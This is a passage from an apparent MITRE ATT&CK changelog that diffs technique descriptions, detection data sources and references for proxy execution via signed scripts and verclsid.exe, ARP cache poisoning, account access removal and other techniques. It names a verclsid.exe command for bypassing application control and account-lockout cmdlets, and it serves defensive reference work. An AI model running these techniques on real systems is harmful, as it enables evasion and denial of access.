| > | ld bypass application control and signature validation on sy | > | his behavior may be abused by adversaries to execute malicio | ||
| > | stems.(Citation: GitHub Ultimate AppLocker Bypass List) | > | us files that could bypass application control and signature | ||
| > | validation on systems.(Citation: GitHub Ultimate AppLocker | ||||
| > | Bypass List) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:39:47.559000+00:00 | 2022-04-18 14:43:46.045000+00:00 |
| name | Signed Script Proxy Execution | System Script Proxy Execution |
| description | Adversaries may use scripts signed with trusted certificates to proxy execution of malicious files. Several Microsoft signed scripts that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List) | Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List) |
| x_mitre_data_sources[0] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process command-line parameters | Process: Process Creation |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'LOLBAS Project', 'description': 'Oddvar Moe et al. (2022, February). Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022.', 'url': 'https://github.com/LOLBAS-Project/LOLBAS#criteria'} | |
| x_mitre_contributors | Wes Hurd | |
| x_mitre_data_sources | Script: Script Execution |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse verclsid.exe to proxy execution of mal | t | 1 | Adversaries may abuse verclsid.exe to proxy execution of mal |
| > | icious code. Verclsid.exe is known as the Extension CLSID Ve | > | icious code. Verclsid.exe is known as the Extension CLSID Ve | ||
| > | rification Host and is responsible for verifying each shell | > | rification Host and is responsible for verifying each shell | ||
| > | extension before they are used by Windows Explorer or the Wi | > | extension before they are used by Windows Explorer or the Wi | ||
| > | ndows Shell.(Citation: WinOSBite verclsid.exe) Adversaries | > | ndows Shell.(Citation: WinOSBite verclsid.exe) Adversaries | ||
| > | may abuse verclsid.exe to execute malicious payloads. This m | > | may abuse verclsid.exe to execute malicious payloads. This m | ||
| > | ay be achieved by running <code>verclsid.exe /S /C {CLSID}</ | > | ay be achieved by running <code>verclsid.exe /S /C {CLSID}</ | ||
| > | code>, where the file is referenced by a Class ID (CLSID), a | > | code>, where the file is referenced by a Class ID (CLSID), a | ||
| > | unique identification number used to identify COM objects. | > | unique identification number used to identify COM objects. | ||
| > | COM payloads executed by verclsid.exe may be able to perform | > | COM payloads executed by verclsid.exe may be able to perform | ||
| > | various malicious actions, such as loading and executing CO | > | various malicious actions, such as loading and executing CO | ||
| > | M scriptlets (SCT) from remote servers (similar to [Regsvr32 | > | M scriptlets (SCT) from remote servers (similar to [Regsvr32 | ||
| > | ](https://attack.mitre.org/techniques/T1218/010)). Since it | > | ](https://attack.mitre.org/techniques/T1218/010)). Since the | ||
| > | is signed and native on Windows systems, proxying execution | > | binary may be signed and/or native on Windows systems, prox | ||
| > | via verclsid.exe may bypass application control solutions th | > | ying execution via verclsid.exe may bypass application contr | ||
| > | at do not account for its potential abuse.(Citation: LOLBAS | > | ol solutions that do not account for its potential abuse.(Ci | ||
| > | Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOP | > | tation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)( | ||
| > | S Abusing the COM Registry)(Citation: Nick Tyrer GitHub) | > | Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Ty | ||
| > | rer GitHub) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-19 19:29:18.138000+00:00 | 2022-05-20 17:35:28.221000+00:00 |
| description | Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)
Adversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running verclsid.exe /S /C {CLSID}, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since it is signed and native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) | Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)
Adversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running verclsid.exe /S /C {CLSID}, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) |
| external_references[1]['source_name'] | WinOSBite verclsid.exe | BOHOPS Abusing the COM Registry |
| external_references[1]['description'] | verclsid-exe. (2019, December 17). verclsid.exe File Information - What is it & How to Block . Retrieved August 10, 2020. | BOHOPS. (2018, August 18). Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques. Retrieved August 10, 2020. |
| external_references[1]['url'] | https://www.winosbite.com/verclsid-exe/ | https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/ |
| external_references[2]['source_name'] | LOLBAS Verclsid | Red Canary Verclsid.exe |
| external_references[2]['description'] | LOLBAS. (n.d.). Verclsid.exe. Retrieved August 10, 2020. | Haag, M., Levan, K. (2017, April 6). Old Phishing Attacks Deploy a New Methodology: Verclsid.exe. Retrieved August 10, 2020. |
| external_references[2]['url'] | https://lolbas-project.github.io/lolbas/Binaries/Verclsid/ | https://redcanary.com/blog/verclsid-exe-threat-detection/ |
| external_references[3]['source_name'] | Red Canary Verclsid.exe | LOLBAS Verclsid |
| external_references[3]['description'] | Haag, M., Levan, K. (2017, April 6). Old Phishing Attacks Deploy a New Methodology: Verclsid.exe. Retrieved August 10, 2020. | LOLBAS. (n.d.). Verclsid.exe. Retrieved August 10, 2020. |
| external_references[3]['url'] | https://redcanary.com/blog/verclsid-exe-threat-detection/ | https://lolbas-project.github.io/lolbas/Binaries/Verclsid/ |
| external_references[4]['source_name'] | BOHOPS Abusing the COM Registry | Nick Tyrer GitHub |
| external_references[4]['description'] | BOHOPS. (2018, August 18). Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques. Retrieved August 10, 2020. | Tyrer, N. (n.d.). Instructions. Retrieved August 10, 2020. |
| external_references[4]['url'] | https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/ | https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5 |
| external_references[5]['source_name'] | Nick Tyrer GitHub | WinOSBite verclsid.exe |
| external_references[5]['description'] | Tyrer, N. (n.d.). Instructions. Retrieved August 10, 2020. | verclsid-exe. (2019, December 17). verclsid.exe File Information - What is it & How to Block . Retrieved August 10, 2020. |
| external_references[5]['url'] | https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5 | https://www.winosbite.com/verclsid-exe/ |
| x_mitre_data_sources[0] | Process use of network | Command: Command Execution |
| x_mitre_data_sources[1] | Process command-line parameters | Process: Process Creation |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | File monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may poison Address Resolution Protocol (ARP) cac | t | 1 | Adversaries may poison Address Resolution Protocol (ARP) cac |
| > | hes to position themselves between the communication of two | > | hes to position themselves between the communication of two | ||
| > | or more networked devices. This activity may be used to enab | > | or more networked devices. This activity may be used to enab | ||
| > | le follow-on behaviors such as [Network Sniffing](https://at | > | le follow-on behaviors such as [Network Sniffing](https://at | ||
| > | tack.mitre.org/techniques/T1040) or [Transmitted Data Manipu | > | tack.mitre.org/techniques/T1040) or [Transmitted Data Manipu | ||
| > | lation](https://attack.mitre.org/techniques/T1565/002). The | > | lation](https://attack.mitre.org/techniques/T1565/002). The | ||
| > | ARP protocol is used to resolve IPv4 addresses to link laye | > | ARP protocol is used to resolve IPv4 addresses to link laye | ||
| > | r addresses, such as a media access control (MAC) address.(C | > | r addresses, such as a media access control (MAC) address.(C | ||
| > | itation: RFC826 ARP) Devices in a local network segment comm | > | itation: RFC826 ARP) Devices in a local network segment comm | ||
| > | unicate with each other by using link layer addresses. If a | > | unicate with each other by using link layer addresses. If a | ||
| > | networked device does not have the link layer address of a p | > | networked device does not have the link layer address of a p | ||
| > | articular networked device, it may send out a broadcast ARP | > | articular networked device, it may send out a broadcast ARP | ||
| > | request to the local network to translate the IP address to | > | request to the local network to translate the IP address to | ||
| > | a MAC address. The device with the associated IP address dir | > | a MAC address. The device with the associated IP address dir | ||
| > | ectly replies with its MAC address. The networked device tha | > | ectly replies with its MAC address. The networked device tha | ||
| > | t made the ARP request will then use as well as store that i | > | t made the ARP request will then use as well as store that i | ||
| > | nformation in its ARP cache. An adversary may passively wai | > | nformation in its ARP cache. An adversary may passively wai | ||
| > | t for an ARP request to poison the ARP cache of the requesti | > | t for an ARP request to poison the ARP cache of the requesti | ||
| > | ng device. The adversary may reply with their MAC address, t | > | ng device. The adversary may reply with their MAC address, t | ||
| > | hus deceiving the victim by making them believe that they ar | > | hus deceiving the victim by making them believe that they ar | ||
| > | e communicating with the intended networked device. For the | > | e communicating with the intended networked device. For the | ||
| > | adversary to poison the ARP cache, their reply must be faste | > | adversary to poison the ARP cache, their reply must be faste | ||
| > | r than the one made by the legitimate IP address owner. Adve | > | r than the one made by the legitimate IP address owner. Adve | ||
| > | rsaries may also send a gratuitous ARP reply that maliciousl | > | rsaries may also send a gratuitous ARP reply that maliciousl | ||
| > | y announces the ownership of a particular IP address to all | > | y announces the ownership of a particular IP address to all | ||
| > | the devices in the local network segment. The ARP protocol | > | the devices in the local network segment. The ARP protocol | ||
| > | is stateless and does not require authentication. Therefore, | > | is stateless and does not require authentication. Therefore, | ||
| > | devices may wrongly add or update the MAC address of the IP | > | devices may wrongly add or update the MAC address of the IP | ||
| > | address in their ARP cache.(Citation: Sans ARP Spoofing Aug | > | address in their ARP cache.(Citation: Sans ARP Spoofing Aug | ||
| > | 2003)(Citation: Cylance Cleaver) Adversaries may use ARP c | > | 2003)(Citation: Cylance Cleaver) Adversaries may use ARP c | ||
| > | ache poisoning as a means to man-in-the-middle (MiTM) networ | > | ache poisoning as a means to intercept network traffic. This | ||
| > | k traffic. This activity may be used to collect and/or relay | > | activity may be used to collect and/or relay data such as c | ||
| > | data such as credentials, especially those sent over an ins | > | redentials, especially those sent over an insecure, unencryp | ||
| > | ecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug | > | ted protocol.(Citation: Sans ARP Spoofing Aug 2003) | ||
| > | 2003) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-16 15:22:11.604000+00:00 | 2021-07-28 01:04:39.141000+00:00 |
| description | Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache. An adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment. The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver) Adversaries may use ARP cache poisoning as a means to man-in-the-middle (MiTM) network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003) | Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache. An adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment. The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver) Adversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003) |
| x_mitre_data_sources[0] | Packet capture | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Netflow/Enclave netflow | Network Traffic: Network Traffic Flow |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may interrupt availability of system and network | t | 1 | Adversaries may interrupt availability of system and network |
| > | resources by inhibiting access to accounts utilized by legi | > | resources by inhibiting access to accounts utilized by legi | ||
| > | timate users. Accounts may be deleted, locked, or manipulate | > | timate users. Accounts may be deleted, locked, or manipulate | ||
| > | d (ex: changed credentials) to remove access to accounts. A | > | d (ex: changed credentials) to remove access to accounts. Ad | ||
| > | dversaries may also subsequently log off and/or reboot boxes | > | versaries may also subsequently log off and/or perform a [Sy | ||
| > | to set malicious changes into place.(Citation: CarbonBlack | > | stem Shutdown/Reboot](https://attack.mitre.org/techniques/T1 | ||
| > | LockerGoga 2019)(Citation: Unit42 LockerGoga 2019) | > | 529) to set malicious changes into place.(Citation: CarbonBl | ||
| > | ack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019) In W | ||||
| > | indows, [Net](https://attack.mitre.org/software/S0039) utili | ||||
| > | ty, <code>Set-LocalUser</code> and <code>Set-ADAccountPasswo | ||||
| > | rd</code> [PowerShell](https://attack.mitre.org/techniques/T | ||||
| > | 1059/001) cmdlets may be used by adversaries to modify user | ||||
| > | accounts. In Linux, the <code>passwd</code> utility may be u | ||||
| > | sed to change passwords. Accounts could also be disabled by | ||||
| > | Group Policy. Adversaries who use ransomware may first per | ||||
| > | form this and other Impact behaviors, such as [Data Destruct | ||||
| > | ion](https://attack.mitre.org/techniques/T1485) and [Defacem | ||||
| > | ent](https://attack.mitre.org/techniques/T1491), before comp | ||||
| > | leting the [Data Encrypted for Impact](https://attack.mitre. | ||||
| > | org/techniques/T1486) objective. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User', 'Administrator', 'root', 'SYSTEM'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-14 19:15:29.911000+00:00 | 2022-04-19 22:57:27.449000+00:00 |
| description | Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or reboot boxes to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019) | Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)
In Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. In Linux, the passwd utility may be used to change passwords. Accounts could also be disabled by Group Policy.
Adversaries who use ransomware may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. |
| external_references[2]['description'] | Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019. | Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019. |
| x_mitre_data_sources[0] | Windows event logs | User Account: User Account Modification |
| x_mitre_data_sources[1] | Process command-line parameters | User Account: User Account Deletion |
| x_mitre_data_sources[2] | Process monitoring | Active Directory: Active Directory Object Modification |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | SaaS |
Current version: 2.3
Version changed from: 2.2 → 2.3
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:10:18.260000+00:00 | 2021-10-13 14:05:15.038000+00:00 |
| x_mitre_data_sources[0] | Azure activity logs | User Account: User Account Metadata |
| x_mitre_data_sources[1] | Office 365 account logs | File: File Access |
| x_mitre_data_sources[2] | API monitoring | Command: Command Execution |
| x_mitre_data_sources[3] | Process monitoring | Process: Process Creation |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
Monitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL) |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | Office 365 | SaaS |
| x_mitre_platforms[4] | Azure AD | IaaS |
| x_mitre_platforms[5] | AWS | Linux |
| x_mitre_platforms[6] | GCP | macOS |
| x_mitre_platforms[7] | Azure | Google Workspace |
| x_mitre_version | 2.2 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Elastic - Koadiac Detection with EQL', 'description': 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.', 'url': 'https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql'} | |
| x_mitre_contributors | Daniel Stepanic, Elastic |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_platforms | SaaS |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy, lease, or | t | 1 | Adversaries may buy, lease, or rent infrastructure that can |
| > | rent infrastructure that can be used during targeting. A wi | > | be used during targeting. A wide variety of infrastructure e | ||
| > | de variety of infrastructure exists for hosting and orchestr | > | xists for hosting and orchestrating adversary operations. In | ||
| > | ating adversary operations. Infrastructure solutions include | > | frastructure solutions include physical or cloud servers, do | ||
| > | physical or cloud servers, domains, and third-party web ser | > | mains, and third-party web services.(Citation: TrendmicroHid | ||
| > | vices.(Citation: TrendmicroHideoutsLease) Additionally, botn | > | eoutsLease) Additionally, botnets are available for rent or | ||
| > | ets are available for rent or purchase. Use of these infras | > | purchase. Use of these infrastructure solutions allows an a | ||
| > | tructure solutions allows an adversary to stage, launch, and | > | dversary to stage, launch, and execute an operation. Solutio | ||
| > | execute an operation. Solutions may help adversary operatio | > | ns may help adversary operations blend in with traffic that | ||
| > | ns blend in with traffic that is seen as normal, such as con | > | is seen as normal, such as contact to third-party web servic | ||
| > | tact to third-party web services. Depending on the implement | > | es. Depending on the implementation, adversaries may use inf | ||
| > | ation, adversaries may use infrastructure that makes it diff | > | rastructure that makes it difficult to physically tie back t | ||
| > | icult to physically tie back to them as well as utilize infr | > | o them as well as utilize infrastructure that can be rapidly | ||
| > | astructure that can be rapidly provisioned, modified, and sh | > | provisioned, modified, and shut down. | ||
| > | ut down. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Metadata', 'Domain Name: Domain Registration', 'Internet Scan: Response Content', 'Domain Name: Passive DNS', 'Domain Name: Active DNS'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 17:59:17.606000+00:00 | 2021-10-17 15:45:02.209000+00:00 |
| description | Before compromising a victim, adversaries may buy, lease, or rent infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows an adversary to stage, launch, and execute an operation. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contact to third-party web services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down. | Adversaries may buy, lease, or rent infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows an adversary to stage, launch, and execute an operation. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contact to third-party web services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down. |
| x_mitre_detection | Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. Much of this activity may take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. Once adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} | |
| external_references | {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'} | |
| external_references | {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 17:34:02.877000+00:00 | 2021-08-16 21:26:09.296000+00:00 |
| x_mitre_data_sources[0] | Process command-line parameters | File: File Creation |
| x_mitre_data_sources[1] | File monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Windows Registry | Process: Process Creation |
| x_mitre_data_sources[3] | Process monitoring | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Windows Registry: Windows Registry Key Creation | |
| x_mitre_data_sources | File: File Modification |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to get a listing of open application | t | 1 | Adversaries may attempt to get a listing of open application |
| > | windows. Window listings could convey information about how | > | windows. Window listings could convey information about how | ||
| > | the system is used or give context to information collected | > | the system is used or give context to information collected | ||
| > | by a keylogger. | > | by a keylogger.(Citation: Prevailion DarkWatchman 2021) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 15:44:27.068000+00:00 | 2022-04-19 02:07:41.751000+00:00 |
| description | Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger. | Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.(Citation: Prevailion DarkWatchman 2021) |
| x_mitre_data_sources[0] | API monitoring | Process: OS API Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | Process command-line parameters | Command: Command Execution |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
